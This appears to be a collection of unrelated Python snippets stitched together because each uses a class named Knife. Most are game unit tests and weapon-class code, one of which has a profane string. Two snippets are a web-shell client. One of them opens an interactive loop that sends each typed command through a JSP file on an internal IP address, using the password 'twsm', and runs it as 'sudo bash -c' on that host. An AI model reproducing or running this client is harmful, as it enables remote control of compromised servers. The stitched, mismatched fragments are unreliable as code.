def test_attack_by_knife(self): KnightTest.knight.arms = Knife() # exercise pain = self.knight.attack_power() # verify self.assertEqual(pain, Knife().attack_power())
def test_attack_by_knife(self): # setup knight = self.create_knight(Knife()) # parameterized creation method # exercise pain = knight.attack_power() # verify self.assertEqual(pain, Knife().attack_power())
def test_attack_by_knife(self): # in-line setup knight = Knight(100) knight.arms = Knife() # exercise pain = knight.attack_power() # verify self.assertEqual(pain, Knife().attack_power())
def test_attack_by_knife(self): # setup knight = self.create_anonymous_knight() # anonymous creation method knight.arms = Knife() # exercise pain = knight.attack_power() # verify self.assertEqual(pain, Knife().attack_power())
def test_attack_by_knife(self): # setup knight = self.create_knight_with_knife() # delegated setup # exercise pain = knight.attack_power() # verify self.assertEqual(pain, Knife().attack_power())
def create_knife(self): knife = Knife(Money(300.05, self._currency), 'Vader') knife.armor_piercing = 80 knife.blade_length = 20 knife.material = 'steel' return knife
import weapon from gun import Gun from knife import Knife a = weapon.Weapon('몽둥이', 3) b = Gun('M4', 3000, 2) c = Knife('단검', 100, 2) a.attack() b.attack() b.attack() b.attack() c.attack() c.attack() c.attack()
def equip(url): kf = Knife(url, 'twsm') kf.copy('')
def create_knife(self): """ Create new knife """ self.knife = Knife(self.GAME_CONFIG) self.knife_list.append(self.knife)
def create_knife(self): knife = Knife(Money(200, self._currency), 'F**k') knife.armor_piercing = 60 knife.blade_length = 30 knife.material = 'steel' return knife
import os from knife import Knife url = "http://10.3.25.12:8004/rescloud/temp/a2f19f84-4ed9-4935-87ca-abec975ea328.jsp" k = Knife(url, 'twsm') cwd = k.exec('pwd') while True: cmd = input('$ ').strip() if cmd == 'exit': break elif cmd.startswith('cd'): result = k.exec(f'sudo bash -c "cd {cwd} && {cmd} && pwd"') if result.startswith('/'): cwd = result else: print(result) else: cmd = f'sudo bash -c "cd {cwd} && {cmd}"' result = k.exec(cmd) print(result)
def create_knight_with_knife(self): knight = self.create_knight() knight.arms = Knife() return knight